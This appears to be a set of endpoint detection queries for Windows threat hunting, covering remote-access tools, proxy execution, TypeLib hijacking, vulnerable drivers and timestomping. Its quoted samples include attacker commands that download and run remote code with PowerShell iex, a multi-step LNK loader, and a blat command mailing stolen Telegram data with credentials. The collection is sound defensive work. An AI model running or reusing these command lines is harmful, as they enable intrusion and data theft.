event_type: "processcreatewin"

AND

proc_file_sig: "TELE LINK SOFT (TLS) CY LTD"

event_type: "dnsreqwin"

AND

dns_rname: "my.kickidler.com"

event_type: "filecreatewin"

AND

file_path: "TeleLinkSoftHelper"

msxsl.exe D30F38D93CA9185.txt D30F38D93CA9185.txt

event_type: "processcreatewin"

AND

proc_file_name: "msxsl.exe"

AND

cmdline: "txt"

event_type: "processcreatewin"

AND

proc_file_path: "explorer.exe"

AND

proc_p_file_path: "wmiprvse.exe"

event_type: "processcreatewin"

AND

proc_file_originalfilename: "jslntool.exe"

AND NOT

proc_file_path: "justsystems"

powershell -windowstyle hidden -Command iwr 

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("iwr" AND "iex")

event_type: "dnsreq"

AND

dns_rname: "ppng.io"

powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 168.119.173[.]205:8080/$u|iex"

event_type: "processcreatewin"

AND

proc_file_name: "powershell.exe"

AND

cmdline: ("datetime" AND "UtcNow" AND "1970" AND "iex")

conhost --headless cmd /c FOR /F "delims=s\ tokens=4" %f IN ('set^|findstr PSM')DO %f -w 1 $zf='osf.zip';$pd='Arda.pdf';$pdl='Arda.lnk';$E=$ENV:Temp;$F=$env:LocalAppData+'\PDFs';if(-not(Test-Path $pdl)){cd $E;$pdl=(dir -recurse *$pdl)[0].fullname;$pd=$E+'\'+[System.IO.Path]::GetFileNameWithoutExtension($pdl)+'.pdf'}$b=[IO.File]::ReadAllBytes($pdl);function f($ar,$su){foreach($i in 0..($ar.Length-$su.Length)){$fo=$true;foreach($j in 0..($su.Length-1)){if($ar[$i+$j] -ne $su[$j]){$fo=$false;break;}}if($fo){return $i;}}return -1;}$i=f $b ([byte[]][char[]]'%PDF');$nb=$b[$i..$b.Length];$s=[System.IO.FileStream]::new($pd,[System.IO.FileMode]::Create);$s.Write($nb,0,($nb.length));$s.close();start $pd;Remove-Item $pdl;mkdir $F -f;copy $pd $F\$zf;Expand-Archive $F\$zf $F\ -f;cd $F;Start-Sleep -Seconds 3;rm $zf;odbcconf /a `{regsvr Wow`} ;

event_type: "processcreatewin"

AND

proc_file_name: "conhost.exe"

AND

cmdline: "headless"

event_type: "processcreatewin"

AND

proc_file_name: "odbcconf.exe"

AND

cmdline: "regsvr"

(Get-Item “.\vcruntime140_1.dll”).LastAccessTime=(“12 May 2024 11:14:00”) `

event_type: "ScriptExecutionWin"

AND

script_text: "get-item" AND ("lastaccesstime" OR "lastwritetime" OR "creationtime")

event_type: "processcreate"

AND

cmdline: "fwd" AND ("22" OR "3389")

reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[dot]com/uc?export=download^&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f

event_type: "processcreatewin"

AND

proc_file_name: "reg.exe"

AND

cmdline: ("TypeLib" И "script")

event_type: "registryvaluesetwin"

AND

reg_key_path: "TypeLib"

AND

reg_value_data: "script"

hxxp://canarytokens[.]com/traffic/tags/static/xjemqlqirwqru9pkrh3j4ztmf/payments.js

event_type: "dnsreq"

AND

dns_rname: "canarytokens.com"

event_type: "processcreatewin"

AND

proc_file_productname: "Supremo Remote Control"

event_type: "filecreate"

AND

file_path: "SupremoRemoteDesktop"

ssh.exe -o ProxyCommand="powershell powershell ('datashieldsecure.com nikbfgppdkfjsfj msh ta run.mp4 http:'|Convert-String -E '1 2 3 4 5 6=34 6//1/2/5')"

event_type: "processcreatewin"

AND

proc_file_name: "ssh.exe"

AND

cmdline: "proxycommand"

regsvr32.exe /s /i C:\Users\[redacted]\AppData\Local\Temp\2549828850.ocx

event_type: "processcreatewin"

AND

proc_file_name: "regsvr32.exe"

AND

cmdline: "temp" AND "ocx"

event_type: "dnsreq"

AND

dns_rname: "ifconfig.me"

event_type: "processcreatewin"

AND

proc_file_originalfilename: "YDArk.exe"

event_type: "driverloadwin"

AND

file_name: "YDArkDrv.sys"

event_type: "filecreate"

AND

file_path: "library-ms"

event_type: "filecreatewin"

AND

file_path: ("programdata" AND "blf")

event_type: "processcreatewin"

AND

proc_file_name: "taskkill"

AND

cmdline: "msiexec"

event_type: "processcreatewin"

AND

proc_file_name: "powerpnt.exe"

AND

cmdline: "ppam"

event_type: "processcreatewin"

AND

proc_file_originalfilename: ("PtWatchDog.exe" OR "BDSubWiz.exe")

event_type: "driverloadwin"

AND

file_name: "zam64.sys"

event_type: "serviceinstallwin"

AND

service_name: "ZammOcide"

blat.exe -to in@vniir.nl -f "TELEGRAM<sent1@vniir.nl>" -server mail.vniir.nl -port 587 -u sent1@vniir.nl -pw fuFhDK3anVteQCvfVQWk -subject "Telegram 927537/user" -body "Telegram 927537/user" -attach "C:\Users\user\Window\tdata.rar"

event_type: "processcreatewin"

AND

proc_file_originalfilename: "blat.exe"

AND

cmdline: ("u" AND "pw" AND "attach")

event_type: "processcreatewin"

AND

proc_file_originalfilename: "cnmpaui.exe"

AND NOT

proc_file_path: "Canon\\Canon IJ Printer Assistant Tool"

event_type: "processcreatewin"

AND

proc_p_file_path: "cnmpaui.exe"

AND

proc_file_path: "winword.exe"